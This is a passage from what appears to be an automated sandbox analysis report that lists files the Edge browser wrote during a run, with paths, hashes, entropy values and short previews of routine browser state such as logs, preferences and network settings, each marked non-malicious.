Entropy (8bit):	5.273382148405261
Encrypted:	false
SSDEEP:	12:sCmL+vLZYeb8rcHEZrELFUt8BC/W/+BCzLV54ZYeb8rcHEZrEZSJ:lblYeb8nZrExg800HoYeb8nZrEZe
MD5:	C1C4E426261D71ACBA74B4814F6AD400
SHA1:	879179FC60DE21BC0EA8B19E348FFA6C881F446A
SHA-256:	22FAFE92A56A3F65207D812EF94DBD92902C417B15D2993F83D6EC037ECF2E75
SHA-512:	84B54A1978E8D248BFEFBE19EC12E46F6E2C0E2BB09F38E467F8595EE705DFC3831218575A27918B1F93339D21B4F0B896F5D3CF82DEF93B5E76B20B9691E2A8
Malicious:	false
Preview:	2024/11/28-06:49:51.201 15cc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/MANIFEST-000001.2024/11/28-06:49:51.201 15cc Recovering log #3.2024/11/28-06:49:51.202 15cc Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1471
Entropy (8bit):	5.686377114364774
Encrypted:	false
SSDEEP:	24:AZWG75KfvXLIwOF/XZBuW2sFV0374iYMycnWOUlHclHBQxNcgFHHmb2cytXo1:AZkv98/XZ/2iV0374gycnf/qRHHS2/41
MD5:	B43070A2A37CF1DB069D139626026E5C
SHA1:	3EFDD46D8CE12755E88F720BC08D67FEF19EFAD9
SHA-256:	407AB88A143F8F6CB943F163209A474F6F4F01C0BEA48EC16E4E8B2660183549
SHA-512:	4686B932067139E4821640C8A71C4F437F61862DB59250DE504F113238A5C8ECD6D19293FBD6EBBA168B3C30C478528AF1348200BBE01085046F63240A3D77CB
Malicious:	false
Preview:	qj..................VERSION.1..META:https://ntp.msn.com.............!_https://ntp.msn.com..LastKnownPV..1732794601683.._https://ntp.msn.com..MUID!.3E27FF0838006C7C38C4EA4D39726D3F.._https://ntp.msn.com..bkgdV...{"cachedVideoId":-1,"lastUpdatedTime":1732794601770,"schedule":[-1,-1,14,29,33,-1,-1],"scheduleFixed":[-1,-1,14,29,33,-1,-1],"simpleSchedule":[11,51,10,45,12,46,13]}.%_https://ntp.msn.com..clean_meta_flag..1.5_https://ntp.msn.com..enableUndersideAutoOpenFromEdge..false.7_https://ntp.msn.com..nurturing_interaction_trace_ls_id..1732794601646.&_https://ntp.msn.com..oneSvcUniTunMode..header."_https://ntp.msn.com..pageVersions..{"dhp":"20241122.365"}.*_https://ntp.msn.com..pivotSelectionSource..sticky.#_https://ntp.msn.com..selectedPivot..myFeed.#_https://ntp.msn.com..switchedPivot..myFeed.O_https://ntp.msn.com..Thu Nov 28 2024 06:50:01 GMT-0500 (Eastern Standard Time).!_https://ntp.msn.com..storageTest.... ................META:https://ntp.msn.com.............._https://ntp.msn.com

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	342
Entropy (8bit):	5.219135340209182
Encrypted:	false
SSDEEP:	6:HMb5SSQyq2PcNwi23oH+Tcwt8a2jMGIFUt8YMbsG1Zmw+YMbcYQRkwOcNwi23oHr:sfVvLZYeb8EFUt8BIG1/+BrI54ZYeb8N
MD5:	A10ADE4828775EDDB4EE6F878CFBC33C
SHA1:	0C6687D66BC4B87A34EFA7635ADCC26D0E8C95FA
SHA-256:	C0F59C11C0B4EFF6C985E7ED51D59C0F3E4DC986BA7710CA8BCC6990EC011864
SHA-512:	B59E28CA4B54323C6F34E14E2B312B38BAAF7766672F5C7C48984E79A3A9B43C0B196A26797C1F2DB38558A8B6DE4A25348D5EF721B7366D44866A0550ED46AB
Malicious:	false
Preview:	2024/11/28-06:49:47.337 1f30 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/MANIFEST-000001.2024/11/28-06:49:47.338 1f30 Recovering log #3.2024/11/28-06:49:47.342 1f30 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	342
Entropy (8bit):	5.219135340209182
Encrypted:	false
SSDEEP:	6:HMb5SSQyq2PcNwi23oH+Tcwt8a2jMGIFUt8YMbsG1Zmw+YMbcYQRkwOcNwi23oHr:sfVvLZYeb8EFUt8BIG1/+BrI54ZYeb8N
MD5:	A10ADE4828775EDDB4EE6F878CFBC33C
SHA1:	0C6687D66BC4B87A34EFA7635ADCC26D0E8C95FA
SHA-256:	C0F59C11C0B4EFF6C985E7ED51D59C0F3E4DC986BA7710CA8BCC6990EC011864
SHA-512:	B59E28CA4B54323C6F34E14E2B312B38BAAF7766672F5C7C48984E79A3A9B43C0B196A26797C1F2DB38558A8B6DE4A25348D5EF721B7366D44866A0550ED46AB
Malicious:	false
Preview:	2024/11/28-06:49:47.337 1f30 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/MANIFEST-000001.2024/11/28-06:49:47.338 1f30 Recovering log #3.2024/11/28-06:49:47.342 1f30 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\30576438-8f18-48c0-9a1e-e4556e912b75.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	1768
Entropy (8bit):	5.300322361496862
Encrypted:	false
SSDEEP:	48:YcCpfgCzsVptsVQfcKsFUwAleeBkBRsFSICgHhYhbyDF:F2fApAQ6FAkeBkB2XTOhy
MD5:	1CA14C8CCEC255AD1FE3839CF9F35839
SHA1:	0D5EF71E2CE8ACE5C8047508845BD266CCD008FE
SHA-256:	2D5CDA23B2639012BE59AD3C4A11F4DE6D3A9D8566B53DEBE9809CF5F2B33DA2
SHA-512:	1C6F8232E61D7834FBA5498029BD7DDF8E5E83AD524F8481EB917FFDF72F5BCF6F842DBA520A730FFA3AACF6F4A1BAFA12CF21EF331E67CD8429040D8277C304
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server":"https://www.googleapis.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13379860190995223","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13379860195761363","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13377361799720953","port":443,"protocol_str":"quic"}],"anonymization":["HAAAABUAAABodHRwczovL21pY3Jvc29mdC5jb20AAAA="

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\8ca0a140-46d9-4c57-b951-04ba6948644c.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 8, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	2.7713362319044528
Encrypted:	false
SSDEEP:	192:tTp5iMib0ladscqAZJGNQ+k2I4oPXcf0L/ZJVb:Vp5i10ladzq4cNUWoPXI0LhJVb
MD5:	F273A8B129A101FD1907E74FF1B90016
SHA1:	9AF25C5C2B2E2781BA9A9DB72B614FF59F0B625B
SHA-256:	D6C3F79BB9AC6A017F0917DDA3BC10DDCC9785C61374C5EE98EF6ABD0E1B6C28
SHA-512:	E10AE56F3A500F19FA9A9FFEBFBEFB526F1B273BACF925565780C04FAAB804169219F112FCBC9E8E7D736D8E2330B87818EE8E45FD47A94903F998844932472A
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1768
Entropy (8bit):	5.300322361496862
Encrypted:	false
SSDEEP:	48:YcCpfgCzsVptsVQfcKsFUwAleeBkBRsFSICgHhYhbyDF:F2fApAQ6FAkeBkB2XTOhy
MD5:	1CA14C8CCEC255AD1FE3839CF9F35839
SHA1:	0D5EF71E2CE8ACE5C8047508845BD266CCD008FE
SHA-256:	2D5CDA23B2639012BE59AD3C4A11F4DE6D3A9D8566B53DEBE9809CF5F2B33DA2
SHA-512:	1C6F8232E61D7834FBA5498029BD7DDF8E5E83AD524F8481EB917FFDF72F5BCF6F842DBA520A730FFA3AACF6F4A1BAFA12CF21EF331E67CD8429040D8277C304
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server":"https://www.googleapis.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13379860190995223","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13379860195761363","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13377361799720953","port":443,"protocol_str":"quic"}],"anonymization":["HAAAABUAAABodHRwczovL21pY3Jvc29mdC5jb20AAAA="

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Reporting and NEL

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 9, cookie 0x4, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	1.2797116734231029
Encrypted:	false
SSDEEP:	48:TFkIopKWurJNVr1GJmA8pv82pfurJNVrdHXuccaurJN2VrJ1n4n1GmzNGU1cS2Wg:JkIEumQv8m1ccnvSODHiiMRM1a
MD5:	4D89095033EF6D9A76CDFED0881AB2CA
SHA1:	1D0CDE383566688161EA5AC8132227E70339176D
SHA-256:	2FDC5EEB4F0F582AE8FA43B916B15FAE54906EFED66D56538C8E555895333676
SHA-512:	C58E98E544622AF83A6374288A830E39C119ACF825E1F887FFD339B0EE283C5C84BA4A33225BC38ABE5876DE1971397BA27FBBFB9541BECACA5DED7459656232
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...D.........7............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF261ec.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF27e7d.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\ac8dfb29-16ad-44c5-98ea-d33814e11646.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\d2525c47-1e93-4114-9a40-d98378618680.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\e4ff3f96-12cd-4791-a4af-4d361955d7fe.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Nurturing\campaign_history

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8350301952073809
Encrypted:	false
SSDEEP:	24:TLSOUOq0afDdWec9sJlAMoqsgC7zn2z8ZI7J5fc:T+OUzDbg3sAM/sgCnn2ztc
MD5:	0DAD8D7F079797377CD56DAE47E1A619
SHA1:	A353C01C5B9BA9E0315ABA74D3337B7D6EE97CB2
SHA-256:	7BDA584E0C1BE9E104065370FD279A7E771D7EB4F7E4CC7C80F146931F150E33
SHA-512:	5A57C0D303672564DDEAA08B5DAAEE1BA24B67C46100720CE69F0908427ACE55F330D96A772D0E1F96B595FBBD70E6145AA464FC4F312EFE095F9AC909E304E8
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9576
Entropy (8bit):	5.111032451233881
Encrypted:	false
SSDEEP:	192:stykdpXslZCoyaNP9k1NoB8+bV+FExQAl9lPlOYJ:styQXsl4otJzbG2QeHf
MD5:	AFB2D8C084B2D0234C9D80C00F0FDC26
SHA1:	2041DA83CABA970BBF23A13B683B321380D11A94
SHA-256:	3ED4846660447E53E28C937AEDDC37DD26CF183E240CB6040D687C05E70EE25E
SHA-512:	0AC0FB1A96B8BD1D2664F4E3A623921A2C27ED8FA7E2229F7F2E5E662AD7037BA3DA337F3869054C388ADBBC47C8AD2E16665AECE36B9DC877698D6830A30456
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13377268187483112","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340965831357520","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF2ae18.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9576
Entropy (8bit):	5.111032451233881
Encrypted:	false
SSDEEP:	192:stykdpXslZCoyaNP9k1NoB8+bV+FExQAl9lPlOYJ:styQXsl4otJzbG2QeHf
MD5:	AFB2D8C084B2D0234C9D80C00F0FDC26
SHA1:	2041DA83CABA970BBF23A13B683B321380D11A94
SHA-256:	3ED4846660447E53E28C937AEDDC37DD26CF183E240CB6040D687C05E70EE25E
SHA-512:	0AC0FB1A96B8BD1D2664F4E3A623921A2C27ED8FA7E2229F7F2E5E662AD7037BA3DA337F3869054C388ADBBC47C8AD2E16665AECE36B9DC877698D6830A30456
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13377268187483112","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340965831357520","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF2ef77.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9576
Entropy (8bit):	5.111032451233881
Encrypted:	false
SSDEEP:	192:stykdpXslZCoyaNP9k1NoB8+bV+FExQAl9lPlOYJ:styQXsl4otJzbG2QeHf
MD5:	AFB2D8C084B2D0234C9D80C00F0FDC26
SHA1:	2041DA83CABA970BBF23A13B683B321380D11A94
SHA-256:	3ED4846660447E53E28C937AEDDC37DD26CF183E240CB6040D687C05E70EE25E
SHA-512:	0AC0FB1A96B8BD1D2664F4E3A623921A2C27ED8FA7E2229F7F2E5E662AD7037BA3DA337F3869054C388ADBBC47C8AD2E16665AECE36B9DC877698D6830A30456
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13377268187483112","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340965831357520","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF364b6.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9576
Entropy (8bit):	5.111032451233881
Encrypted:	false
SSDEEP:	192:stykdpXslZCoyaNP9k1NoB8+bV+FExQAl9lPlOYJ:styQXsl4otJzbG2QeHf
MD5:	AFB2D8C084B2D0234C9D80C00F0FDC26
SHA1:	2041DA83CABA970BBF23A13B683B321380D11A94
SHA-256:	3ED4846660447E53E28C937AEDDC37DD26CF183E240CB6040D687C05E70EE25E
SHA-512:	0AC0FB1A96B8BD1D2664F4E3A623921A2C27ED8FA7E2229F7F2E5E662AD7037BA3DA337F3869054C388ADBBC47C8AD2E16665AECE36B9DC877698D6830A30456
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13377268187483112","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340965831357520","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	25012
Entropy (8bit):	5.567672381962875
Encrypted:	false
SSDEEP:	768:f7rwuYWPgKf3S8F1+UoAYDCx9Tuqh0VfUC9xbog/OV6Xd2srwrGp9tuL:f7rwuYWPgKf3Su1ja7t2Fkto
MD5:	32D99AC70950709CDA7FC308A35529E5
SHA1:	19671BF37570187491B5DB9658F20D32308F738B
SHA-256:	1D0064DB4BD0B69EE05F9C58F89A7F004AC872043E72789E0B4F5AE12C28B75E
SHA-512:	AF427A1D88A58273E6DAB270DC9C74027A9DFF845021C70832043AB83AF171523B1F2D87E13905465AA63976092FC17903B44164A3EBA36D0908744C65BAB167
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13377268186768209","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13377268186768209","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences~RF2a59c.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	25012
Entropy (8bit):	5.567672381962875
Encrypted:	false
SSDEEP:	768:f7rwuYWPgKf3S8F1+UoAYDCx9Tuqh0VfUC9xbog/OV6Xd2srwrGp9tuL:f7rwuYWPgKf3Su1ja7t2Fkto
MD5:	32D99AC70950709CDA7FC308A35529E5
SHA1:	19671BF37570187491B5DB9658F20D32308F738B
SHA-256:	1D0064DB4BD0B69EE05F9C58F89A7F004AC872043E72789E0B4F5AE12C28B75E
SHA-512:	AF427A1D88A58273E6DAB270DC9C74027A9DFF845021C70832043AB83AF171523B1F2D87E13905465AA63976092FC17903B44164A3EBA36D0908744C65BAB167
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13377268186768209","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13377268186768209","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\000001.dbtmp

Download File

